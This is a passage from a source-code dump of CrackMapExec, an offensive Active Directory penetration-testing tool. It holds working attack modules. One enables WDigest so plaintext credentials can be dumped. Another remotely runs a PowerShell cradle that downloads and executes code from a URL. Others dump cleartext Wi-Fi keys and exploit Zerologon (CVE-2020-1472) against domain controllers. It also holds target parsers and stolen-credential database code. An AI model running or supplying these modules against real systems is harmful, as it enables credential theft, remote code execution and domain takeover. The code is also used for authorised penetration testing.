160 | characters and contain 3 different character classes). Such functionality is nice when playing
161 | CTF in small AD environments. When facing a real AD, such functionality gets annoying, because
162 | it generates to much output with 99% of it being false positives.
163 |
164 | The recommended way when targeting user descriptions is to use the keyword filter to catch low
165 | hanging fruites. More dedicated searches for sensitive information should be done using the logfile.
166 | This allows you to refine your search query at any time without having to pull data from AD again.
167 | '''
168 | for keyword in self.keywords:
169 | if keyword.lower() in description.lower():
170 | return True
171 |
172 | return False
173 |
--------------------------------------------------------------------------------
/cme/modules/wdigest.py:
--------------------------------------------------------------------------------
1 | from impacket.dcerpc.v5.rpcrt import DCERPCException
2 | from impacket.dcerpc.v5 import rrp
3 | from impacket.examples.secretsdump import RemoteOperations
4 | from sys import exit
5 |
6 | class CMEModule:
7 |
8 | name = 'wdigest'
9 | description = "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1"
10 | supported_protocols = ['smb']
11 | opsec_safe = True
12 | multiple_hosts = True
13 |
14 | def options(self, context, module_options):
15 | '''
16 | ACTION Create/Delete the registry key (choices: enable, disable)
17 | '''
18 |
19 | if not 'ACTION' in module_options:
20 | context.log.error('ACTION option not specified!')
21 | exit(1)
22 |
23 | if module_options['ACTION'].lower() not in ['enable', 'disable']:
24 | context.log.error('Invalid value for ACTION option!')
25 | exit(1)
26 |
27 | self.action = module_options['ACTION'].lower()
28 |
29 | def on_admin_login(self, context, connection):
30 | if self.action == 'enable':
31 | self.wdigest_enable(context, connection.conn)
32 | elif self.action == 'disable':
33 | self.wdigest_disable(context, connection.conn)
34 |
35 | def wdigest_enable(self, context, smbconnection):
36 | remoteOps = RemoteOperations(smbconnection, False)
37 | remoteOps.enableRegistry()
38 |
39 | if remoteOps._RemoteOperations__rrp:
40 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
41 | regHandle = ans['phKey']
42 |
43 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
44 | keyHandle = ans['phkResult']
45 |
46 | rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, 1)
47 |
48 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
49 |
50 | if int(data) == 1:
51 | context.log.success('UseLogonCredential registry key created successfully')
52 |
53 | try:
54 | remoteOps.finish()
55 | except:
56 | pass
57 |
58 | def wdigest_disable(self, context, smbconnection):
59 | remoteOps = RemoteOperations(smbconnection, False)
60 | remoteOps.enableRegistry()
61 |
62 | if remoteOps._RemoteOperations__rrp:
63 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
64 | regHandle = ans['phKey']
65 |
66 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
67 | keyHandle = ans['phkResult']
68 |
69 | try:
70 | rrp.hBaseRegDeleteValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
71 | except:
72 | context.log.success('UseLogonCredential registry key not present')
73 |
74 | try:
75 | remoteOps.finish()
76 | except:
77 | pass
78 |
79 | return
80 |
81 | try:
82 | #Check to make sure the reg key is actually deleted
83 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
84 | except DCERPCException:
85 | context.log.success('UseLogonCredential registry key deleted successfully')
86 |
87 | try:
88 | remoteOps.finish()
89 | except:
90 | pass
91 |
92 |
--------------------------------------------------------------------------------
/cme/modules/web_delivery.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from sys import exit
3 |
4 | class CMEModule:
5 | '''
6 | Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
7 | Reference: https://github.com/EmpireProject/Empire/blob/2.0_beta/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
8 |
9 | Module by @byt3bl33d3r
10 | '''
11 |
12 | name = 'web_delivery'
13 | description = 'Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module'
14 | supported_protocols = ['smb', 'mssql']
15 | opsec_safe = True
16 | multiple_hosts = True
17 |
18 | def options(self, context, module_options):
19 | '''
20 | URL URL for the download cradle
21 | '''
22 |
23 | if not 'URL' in module_options:
24 | context.log.error('URL option is required!')
25 | exit(1)
26 |
27 | self.url = module_options['URL']
28 |
29 | def on_admin_login(self, context, connection):
30 | ps_command = '''[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');'''.format(self.url)
31 | connection.ps_execute(ps_command, force_ps32=True)
32 | context.log.success('Executed web-delivery launcher')
33 |
--------------------------------------------------------------------------------
/cme/modules/webdav.py:
--------------------------------------------------------------------------------
1 | from cme.protocols.smb.remotefile import RemoteFile
2 | from impacket import nt_errors
3 | from impacket.smb3structs import FILE_READ_DATA
4 | from impacket.smbconnection import SessionError
5 |
6 | class CMEModule:
7 | '''
8 | Enumerate whether the WebClient service is running on the target by looking for the
9 | DAV RPC Service pipe. This technique was first suggested by Lee Christensen (@tifkin_)
10 |
11 | Module by Tobias Neitzel (@qtc_de)
12 | '''
13 | name = 'webdav'
14 | description = 'Checks whether the WebClient service is running on the target'
15 | supported_protocols = ['smb']
16 | opsec_safe= True
17 | multiple_hosts = True
18 |
19 | def options(self, context, module_options):
20 | '''
21 | MSG Info message when the WebClient service is running. '{}' is replaced by the target.
22 | '''
23 | self.output = 'WebClient Service enabled on: {}'
24 |
25 | if 'MSG' in module_options:
26 | self.output = module_options['MSG']
27 |
28 | def on_login(self, context, connection):
29 | '''
30 | Check whether the 'DAV RPC Service' pipe exists within the 'IPC$' share. This indicates
31 | that the WebClient service is running on the target.
32 | '''
33 | try:
34 | remote_file = RemoteFile(connection.conn, 'DAV RPC Service', 'IPC$', access=FILE_READ_DATA)
35 |
36 | remote_file.open()
37 | remote_file.close()
38 |
39 | context.log.highlight(self.output.format(connection.conn.getRemoteHost()))
40 |
41 | except SessionError as e:
42 |
43 | if e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND:
44 | pass
45 |
46 | else:
47 | raise e
48 |
--------------------------------------------------------------------------------
/cme/modules/wireless.py:
--------------------------------------------------------------------------------
1 | class CMEModule:
2 |
3 | name = 'wireless'
4 | description = "Get key of all wireless interfaces"
5 | supported_protocols = ['smb']
6 | opsec_safe = True
7 | multiple_hosts = True
8 |
9 | def options(self, context, module_options):
10 | '''
11 | '''
12 |
13 | def on_admin_login(self, context, connection):
14 |
15 | command = 'powershell.exe -c "(netsh wlan show profiles) | Select-String """"\:(.+)$"""" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}'
16 | context.log.info('Executing command')
17 | p = connection.execute(command, True)
18 | context.log.success(p)
19 |
--------------------------------------------------------------------------------
/cme/modules/zerologon.py:
--------------------------------------------------------------------------------
1 | # everything is comming from https://github.com/dirkjanm/CVE-2020-1472
2 | # credit to @dirkjanm
3 | # module by : @mpgn_x64
4 |
5 | import sys
6 | from impacket.dcerpc.v5 import nrpc, epm
7 | from impacket.dcerpc.v5.dtypes import NULL
8 | from impacket.dcerpc.v5 import transport
9 | from impacket import crypto
10 | import hmac, hashlib, struct, sys, socket, time
11 | from binascii import hexlify, unhexlify
12 | from subprocess import check_call
13 |
14 | # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
15 | MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
16 |
17 | class CMEModule:
18 |
19 | name = 'zerologon'
20 | description = "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472"
21 | supported_protocols = ['smb']
22 | opsec_safe = True
23 | multiple_hosts = False
24 |
25 | def options(self, context, module_options):
26 | '''
27 | NOP No options
28 | '''
29 |
30 | def on_login(self, context, connection):
31 | if perform_attack('\\\\' + connection.hostname, connection.host, connection.hostname):
32 | context.log.highlight("VULNERABLE")
33 | context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
34 |
35 | def fail(msg):
36 | logging.debug(msg, file=sys.stderr)
37 | logging.debug('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
38 | sys.exit(2)
39 |
40 | def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
41 | # Connect to the DC's Netlogon service.
42 |
43 |
44 | # Use an all-zero challenge and credential.
45 | plaintext = b'\x00' * 8
46 | ciphertext = b'\x00' * 8
47 |
48 | # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
49 | flags = 0x212fffff
50 |
51 | # Send challenge and authentication request.
52 | nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
53 | try:
54 | server_auth = nrpc.hNetrServerAuthenticate3(
55 | rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
56 | target_computer + '\x00', ciphertext, flags
57 | )
58 |
59 |
60 | # It worked!
61 | assert server_auth['ErrorCode'] == 0
62 | return True
63 |
64 | except nrpc.DCERPCSessionError as ex:
65 | # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
66 | if ex.get_error_code() == 0xc0000022:
67 | return None
68 | else:
69 | fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
70 | except BaseException as ex:
71 | fail(f'Unexpected error: {ex}.')
72 |
73 | def perform_attack(dc_handle, dc_ip, target_computer):
74 | # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
75 | logging.debug('Performing authentication attempts...')
76 | rpc_con = None
77 | binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
78 | rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
79 | rpc_con.connect()
80 | rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
81 | for attempt in range(0, MAX_ATTEMPTS):
82 | result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
83 |
84 | if result is None:
85 | logging.debug('=', end='', flush=True)
86 | else:
87 | break
88 | if result:
89 | return True
90 | else:
91 | logging.debug('\nAttack failed. Target is probably patched.')
92 |
93 |
94 |
--------------------------------------------------------------------------------
/cme/parsers/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/parsers/__init__.py
--------------------------------------------------------------------------------
/cme/parsers/ip.py:
--------------------------------------------------------------------------------
1 | from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface
2 |
3 | def parse_targets(target):
4 | try:
5 | if '-' in target:
6 | start_ip, end_ip = target.split('-')
7 | try:
8 | end_ip = ip_address(end_ip)
9 | except ValueError:
10 | first_three_octets = start_ip.split(".")[:-1]
11 | first_three_octets.append(end_ip)
12 | end_ip = ip_address(
13 | ".".join(first_three_octets)
14 | )
15 |
16 | for ip_range in summarize_address_range(ip_address(start_ip), end_ip):
17 | for ip in ip_range:
18 | yield str(ip)
19 | else:
20 | if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local:
21 | yield str(target)
22 | else:
23 | for ip in ip_network(target, strict=False):
24 | yield str(ip)
25 | except ValueError as e:
26 | yield str(target)
27 |
--------------------------------------------------------------------------------
/cme/parsers/nessus.py:
--------------------------------------------------------------------------------
1 | import xmltodict
2 |
3 | # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard
4 | protocol_dict = {
5 | 'smb': {'ports': [445, 139], 'services': ['smb', 'cifs']},
6 | 'mssql': {'ports': [1433], 'services': ['mssql']},
7 | 'ssh': {'ports': [22], 'services': ['ssh']},
8 | 'winrm': {'ports': [5986, 5985], 'services': ['www', 'https?']},
9 | 'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['www', 'https?']}
10 | }
11 |
12 |
13 | def parse_nessus_file(nessus_file, protocol):
14 | targets = []
15 |
16 | def handle_nessus_file(path, item):
17 | # Must return True otherwise xmltodict will throw a ParsingIterrupted() exception
18 | # https://github.com/martinblech/xmltodict/blob/master/xmltodict.py#L219
19 |
20 | if any('ReportHost' and 'ReportItem' in values for values in path):
21 | item = dict(path)
22 | ip = item['ReportHost']['name']
23 | if ip in targets:
24 | return True
25 |
26 | port = item['ReportItem']['port']
27 | svc_name = item['ReportItem']['svc_name']
28 |
29 | if port in protocol_dict[protocol]['ports']:
30 | targets.append(ip)
31 | if svc_name in protocol_dict[protocol]['services']:
32 | targets.append(ip)
33 |
34 | return True
35 | else:
36 | return True
37 |
38 | with open(nessus_file, 'r') as file_handle:
39 | xmltodict.parse(file_handle, item_depth=4, item_callback=handle_nessus_file)
40 |
41 | return targets
42 |
--------------------------------------------------------------------------------
/cme/parsers/nmap.py:
--------------------------------------------------------------------------------
1 | import xmltodict
2 |
3 | # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard
4 | protocol_dict = {
5 | 'smb': {'ports': [445, 139], 'services': ['netbios-ssn', 'microsoft-ds']},
6 | 'mssql': {'ports': [1433], 'services': ['ms-sql-s']},
7 | 'ssh': {'ports': [22], 'services': ['ssh']},
8 | 'winrm': {'ports': [5986, 5985], 'services': ['wsman']},
9 | 'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['http', 'ssl/https']}
10 | }
11 |
12 |
13 | def parse_nmap_xml(nmap_output_file, protocol):
14 | targets = []
15 |
16 | with open(nmap_output_file, 'r') as file_handle:
17 | scan_output = xmltodict.parse(file_handle.read())
18 |
19 | for host in scan_output['nmaprun']['host']:
20 | if host['address'][0]['@addrtype'] != 'ipv4':
21 | continue
22 |
23 | ip = host['address'][0]['@addr']
24 | for port in host['ports']['port']:
25 | if port['state']['@state'] == 'open':
26 | if 'service' in port and (port['service']['@name'] in protocol_dict[protocol]['services']):
27 | if ip not in targets:
28 | targets.append(ip)
29 | elif port['@portid'] in protocol_dict[protocol]['ports']:
30 | if ip not in targets:
31 | targets.append(ip)
32 |
33 | return targets
34 |
--------------------------------------------------------------------------------
/cme/protocols/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/__init__.py
--------------------------------------------------------------------------------
/cme/protocols/ldap/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/ldap/__init__.py
--------------------------------------------------------------------------------
/cme/protocols/ldap/database.py:
--------------------------------------------------------------------------------
1 | class database:
2 |
3 | def __init__(self, conn):
4 | self.conn = conn
5 |
6 | @staticmethod
7 | def db_schema(db_conn):
8 | db_conn.execute('''CREATE TABLE "credentials" (
9 | "id" integer PRIMARY KEY,
10 | "username" text,
11 | "password" text
12 | )''')
13 |
14 | db_conn.execute('''CREATE TABLE "hosts" (
15 | "id" integer PRIMARY KEY,
16 | "ip" text,
17 | "hostname" text,
18 | "port" integer
19 | )''')
20 |
--------------------------------------------------------------------------------
/cme/protocols/ldap/db_navigator.py:
--------------------------------------------------------------------------------
1 | from cme.cmedb import DatabaseNavigator
2 |
3 |
4 | class navigator(DatabaseNavigator):
5 | pass
6 |
--------------------------------------------------------------------------------
/cme/protocols/ldap/smbldap.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import random
3 | from pyasn1.codec.der import decoder, encoder
4 | from pyasn1.type.univ import noValue
5 | from impacket.ntlm import compute_lmhash, compute_nthash
6 | from impacket.ldap import ldap as ldap_impacket
7 | from cme.logger import CMEAdapter
8 |
9 |
10 | ldap_error_status = {
11 | "533":"STATUS_ACCOUNT_DISABLED",
12 | "701":"STATUS_ACCOUNT_EXPIRED",
13 | "531":"STATUS_ACCOUNT_RESTRICTION",
14 | "530":"STATUS_INVALID_LOGON_HOURS",
15 | "532":"STATUS_PASSWORD_EXPIRED",
16 | "773":"STATUS_PASSWORD_MUST_CHANGE",
17 | "775":"USER_ACCOUNT_LOCKED",
18 | "50":"LDAP_INSUFFICIENT_ACCESS"
19 | }
20 |
21 |
22 | class LDAPConnect:
23 |
24 | def __init__(self, host, port, hostname):
25 | self.proto_logger(host, port, hostname)
26 |
27 | def proto_logger(self, host, port, hostname):
28 | self.logger = CMEAdapter(extra={
29 | 'protocol': 'LDAP',
30 | 'host': host,
31 | 'port': port,
32 | 'hostname': hostname
33 | })
34 |
35 | def plaintext_login(self, domain, username, password, ntlm_hash):
36 |
37 | lmhash = ''
38 | nthash = ''
39 |
40 |
41 | #This checks to see if we didn't provide the LM Hash
42 | if ntlm_hash and ntlm_hash.find(':') != -1:
43 | lmhash, nthash = ntlm_hash.split(':')
44 | elif ntlm_hash:
45 | nthash = ntlm_hash
46 |
47 | # Create the baseDN
48 | baseDN = ''
49 | domainParts = domain.split('.')
50 | for i in domainParts:
51 | baseDN += 'dc=%s,' % i
52 | # Remove last ','
53 | baseDN = baseDN[:-1]
54 |
55 | try:
56 | ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % domain, baseDN, domain)
57 | ldapConnection.login(username, password, domain, lmhash, nthash)
58 |
59 | # Connect to LDAP
60 | out = u'{}{}:{}'.format('{}\\'.format(domain),
61 | username,
62 | password if password else ntlm_hash)
63 | self.logger.extra['protocol'] = "LDAP"
64 | self.logger.extra['port'] = "389"
65 | # self.logger.success(out)
66 |
67 | return ldapConnection
68 |
69 | except ldap_impacket.LDAPSessionError as e:
70 | if str(e).find('strongerAuthRequired') >= 0:
71 | # We need to try SSL
72 | try:
73 | ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % domain, baseDN, domain)
74 | ldapConnection.login(username, password, domain, lmhash, nthash)
75 | self.logger.extra['protocol'] = "LDAPS"
76 | self.logger.extra['port'] = "636"
77 | # self.logger.success(out)
78 | return ldapConnection
79 | except ldap_impacket.LDAPSessionError as e:
80 | errorCode = str(e).split()[-2][:-1]
81 | self.logger.error(u'{}\\{}:{} {}'.format(domain,
82 | username,
83 | password if password else ntlm_hash,
84 | ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
85 | color='magenta' if errorCode in ldap_error_status else 'red')
86 | else:
87 | errorCode = str(e).split()[-2][:-1]
88 | self.logger.error(u'{}\\{}:{} {}'.format(domain,
89 | username,
90 | password if password else ntlm_hash,
91 | ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
92 | color='magenta' if errorCode in ldap_error_status else 'red')
93 | return False
94 |
95 | except OSError as e:
96 | self.logger.debug(u'{}\\{}:{} {}'.format(domain,
97 | username,
98 | password if password else ntlm_hash,
99 | "Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))
100 | return False
101 |
102 |
--------------------------------------------------------------------------------
/cme/protocols/mssql/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/mssql/__init__.py
--------------------------------------------------------------------------------
/cme/protocols/mssql/database.py:
--------------------------------------------------------------------------------
1 | class database:
2 |
3 | def __init__(self, conn):
4 | self.conn = conn
5 |
6 | @staticmethod
7 | def db_schema(db_conn):
8 | db_conn.execute('''CREATE TABLE "computers" (
9 | "id" integer PRIMARY KEY,
10 | "ip" text,
11 | "hostname" text,
12 | "domain" text,
13 | "os" text,
14 | "instances" integer
15 | )''')
16 |
17 | # This table keeps track of which credential has admin access over which machine and vice-versa
18 | db_conn.execute('''CREATE TABLE "admin_relations" (
19 | "id" integer PRIMARY KEY,
20 | "userid" integer,
21 | "computerid" integer,
22 | FOREIGN KEY(userid) REFERENCES users(id),
23 | FOREIGN KEY(computerid) REFERENCES computers(id)
24 | )''')
25 |
26 | # type = hash, plaintext
27 | db_conn.execute('''CREATE TABLE "users" (
28 | "id" integer PRIMARY KEY,
29 | "credtype" text,
30 | "domain" text,
31 | "username" text,
32 | "password" text
33 | )''')
34 |
35 | def add_computer(self, ip, hostname, domain, os, instances):
36 | """
37 | Check if this host has already been added to the database, if not add it in.
38 | """
39 | cur = self.conn.cursor()
40 |
41 | cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip])
42 | results = cur.fetchall()
43 |
44 | if not len(results):
45 | cur.execute("INSERT INTO computers (ip, hostname, domain, os, instances) VALUES (?,?,?,?,?)", [ip, hostname, domain, os, instances])
46 |
47 | cur.close()
48 |
49 | def add_credential(self, credtype, domain, username, password):
50 | """
51 | Check if this credential has already been added to the database, if not add it in.
52 | """
53 | cur = self.conn.cursor()
54 |
55 | cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=?", [credtype, domain, username, password])
56 | results = cur.fetchall()
57 |
58 | if not len(results):
59 | cur.execute("INSERT INTO users (credtype, domain, username, password) VALUES (?,?,?,?)", [credtype, domain, username, password])
60 |
61 | cur.close()
62 |
63 | def remove_credentials(self, credIDs):
64 | """
65 | Removes a credential ID from the database
66 | """
67 | for credID in credIDs:
68 | cur = self.conn.cursor()
69 | cur.execute("DELETE FROM users WHERE id=?", [credID])
70 | cur.close()
71 |
72 | def add_admin_user(self, credtype, domain, username, password, host):
73 |
74 | cur = self.conn.cursor()
75 |
76 | cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=?", [credtype, domain, username, password])
77 | creds = cur.fetchall()
78 |
79 | cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [host])
80 | hosts = cur.fetchall()
81 |
82 | if len(creds) and len(hosts):
83 | for cred, host in zip(creds, hosts):
84 | userid = cred[0]
85 | computerid = host[0]
86 |
87 | # Check to see if we already added this link
88 | cur.execute("SELECT * FROM admin_relations WHERE userid=? AND computerid=?", [userid, computerid])
89 | links = cur.fetchall()
90 |
91 | if not len(links):
92 | cur.execute("INSERT INTO admin_relations (userid, computerid) VALUES (?,?)", [userid, computerid])
93 |
94 | cur.close()
95 |
96 | def get_admin_relations(self, userID=None, hostID=None):
97 |
98 | cur = self.conn.cursor()
99 |
100 | if userID:
101 | cur.execute("SELECT * from admin_relations WHERE userid=?", [userID])
102 |
103 | elif hostID:
104 | cur.execute("SELECT * from admin_relations WHERE computerid=?", [hostID])
105 |
106 | results = cur.fetchall()
107 | cur.close()
108 | return results
109 |
110 | def remove_admin_relation(self, userIDs=None, hostIDs=None):
111 |
112 | cur = self.conn.cursor()
113 |
114 | if userIDs:
115 | for userID in userIDs:
116 | cur.execute("DELETE FROM admin_relations WHERE userid=?", [userID])
117 |
118 | elif hostIDs:
119 | for hostID in hostIDs:
120 | cur.execute("DELETE FROM admin_relations WHERE computerid=?", [hostID])
121 |
122 | cur.close()
123 |
124 | def is_credential_valid(self, credentialID):
125 | """
126 | Check if this credential ID is valid.
127 | """
128 | cur = self.conn.cursor()
129 | cur.execute('SELECT * FROM users WHERE id=? LIMIT 1', [credentialID])
130 | results = cur.fetchall()
131 | cur.close()
132 | return len(results) > 0
133 |
134 | def get_credentials(self, filterTerm=None, credtype=None):
135 | """
136 | Return credentials from the database.
137 | """
138 |
139 | cur = self.conn.cursor()
140 |
141 | # if we're returning a single credential by ID
142 | if self.is_credential_valid(filterTerm):
143 | cur.execute("SELECT * FROM users WHERE id=? LIMIT 1", [filterTerm])
144 |
145 | # if we're filtering by credtype
146 | elif credtype:
147 | cur.execute("SELECT * FROM users WHERE credtype=?", [credtype])
148 |
149 | # if we're filtering by username
150 | elif filterTerm and filterTerm != "":
151 | cur.execute("SELECT * FROM users WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower())])
152 |
153 | # otherwise return all credentials
154 | else:
155 | cur.execute("SELECT * FROM users")
156 |
157 | results = cur.fetchall()
158 | cur.close()
159 | return results
160 |
161 | def is_computer_valid(self, hostID):
162 | """
163 | Check if this computer ID is valid.
164 | """
165 | cur = self.conn.cursor()
166 | cur.execute('SELECT * FROM computers WHERE id=? LIMIT 1', [hostID])
167 | results = cur.fetchall()
168 | cur.close()
169 | return len(results) > 0
170 |
171 | def get_computers(self, filterTerm=None):
172 | """
173 | Return computers from the database.
174 | """
175 |
176 | cur = self.conn.cursor()
177 |
178 | # if we're returning a single host by ID
179 | if self.is_computer_valid(filterTerm):
180 | cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", [filterTerm])
181 |
182 | # if we're filtering by ip/hostname
183 | elif filterTerm and filterTerm != "":
184 | cur.execute("SELECT * FROM computers WHERE ip LIKE ? OR LOWER(hostname) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower()), '%{}%'.format(filterTerm.lower())])
185 |
186 | # otherwise return all credentials
187 | else:
188 | cur.execute("SELECT * FROM computers")
189 |
190 | results = cur.fetchall()
191 | cur.close()
192 | return results
193 |
--------------------------------------------------------------------------------
/cme/protocols/mssql/db_navigator.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.misc import validate_ntlm
2 | from cme.cmedb import DatabaseNavigator
3 |
4 |
5 | class navigator(DatabaseNavigator):
6 |
7 | def display_creds(self, creds):
8 |
9 | data = [['CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password']]
10 |
11 | for cred in creds:
12 |
13 | credID = cred[0]
14 | domain = cred[1]
15 | username = cred[2]
16 | password = cred[3]
17 | credtype = cred[4]
18 | # pillaged_from = cred[5]
19 |
20 | links = self.db.get_admin_relations(userID=credID)
21 |
22 | data.append([credID, str(len(links)) + ' Host(s)', credtype, domain, username, password])
23 |
24 | self.print_table(data, title='Credentials')
25 |
26 | def display_hosts(self, hosts):
27 |
28 | data = [['HostID', 'Admins', 'IP', 'Hostname', 'Domain', 'OS', 'DB Instances']]
29 |
30 | for host in hosts:
31 |
32 | hostID = host[0]
33 | ip = host[1]
34 | hostname = host[2]
35 | domain = host[3]
36 | os = host[4]
37 | instances = host[5]
38 |
39 | links = self.db.get_admin_relations(hostID=hostID)
40 |
41 | data.append([hostID, str(len(links)) + ' Cred(s)', ip, hostname, domain, os, instances])
42 |
43 | self.print_table(data, title='Hosts')
44 |
45 | def do_hosts(self, line):
46 |
47 | filterTerm = line.strip()
48 |
49 | if filterTerm == "":
50 | hosts = self.db.get_computers()
51 | self.display_hosts(hosts)
52 | else:
53 | hosts = self.db.get_computers(filterTerm=filterTerm)
54 |
55 | if len(hosts) > 1:
56 | self.display_hosts(hosts)
57 | elif len(hosts) == 1:
58 | data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']]
59 | hostIDList = []
60 |
61 | for host in hosts:
62 | hostID = host[0]
63 | hostIDList.append(hostID)
64 |
65 | ip = host[1]
66 | hostname = host[2]
67 | domain = host[3]
68 | os = host[4]
69 |
70 | data.append([hostID, ip, hostname, domain, os])
71 |
72 | self.print_table(data, title='Host(s)')
73 |
74 | data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']]
75 | for hostID in hostIDList:
76 | links = self.db.get_admin_relations(hostID=hostID)
77 |
78 | for link in links:
79 | linkID, credID, hostID = link
80 | creds = self.db.get_credentials(filterTerm=credID)
81 |
82 | for cred in creds:
83 | credID = cred[0]
84 | domain = cred[1]
85 | username = cred[2]
86 | password = cred[3]
87 | credtype = cred[4]
88 | # pillaged_from = cred[5]
89 |
90 | data.append([credID, credtype, domain, username, password])
91 |
92 | self.print_table(data, title='Credential(s) with Admin Access')
93 |
94 | def do_creds(self, line):
95 |
96 | filterTerm = line.strip()
97 |
98 | if filterTerm == "":
99 | creds = self.db.get_credentials()
100 | self.display_creds(creds)
101 |
102 | elif filterTerm.split()[0].lower() == "add":
103 | args = filterTerm.split()[1:]
104 |
105 | if len(args) == 3:
106 | domain, username, password = args
107 | if validate_ntlm(password):
108 | self.db.add_credential("hash", domain, username, password)
109 | else:
110 | self.db.add_credential("plaintext", domain, username, password)
111 |
112 | else:
113 | print("[!] Format is 'add domain username password")
114 | return
115 |
116 | elif filterTerm.split()[0].lower() == "remove":
117 |
118 | args = filterTerm.split()[1:]
119 | if len(args) != 1:
120 | print("[!] Format is 'remove '")
121 | return
122 | else:
123 | self.db.remove_credentials(args)
124 | self.db.remove_links(credIDs=args)
125 |
126 | elif filterTerm.split()[0].lower() == "plaintext":
127 | creds = self.db.get_credentials(credtype="plaintext")
128 | self.display_creds(creds)
129 |
130 | elif filterTerm.split()[0].lower() == "hash":
131 | creds = self.db.get_credentials(credtype="hash")
132 | self.display_creds(creds)
133 |
134 | else:
135 | creds = self.db.get_credentials(filterTerm=filterTerm)
136 |
137 | data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']]
138 | credIDList = []
139 |
140 | for cred in creds:
141 | credID = cred[0]
142 | credIDList.append(credID)
143 |
144 | credType = cred[1]
145 | domain = cred[2]
146 | username = cred[3]
147 | password = cred[4]
148 |
149 | data.append([credID, credType, domain, username, password])
150 |
151 | self.print_table(data, title='Credential(s)')
152 |
153 | data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']]
154 | for credID in credIDList:
155 | links = self.db.get_admin_relations(userID=credID)
156 |
157 | for link in links:
158 | linkID, credID, hostID = link
159 | hosts = self.db.get_computers(hostID)
160 |
161 | for host in hosts:
162 | hostID = host[0]
163 | ip = host[1]
164 | hostname = host[2]
165 | domain = host[3]
166 | os = host[4]
167 |
168 | data.append([hostID, ip, hostname, domain, os])
169 |
170 | self.print_table(data, title='Admin Access to Host(s)')
171 |
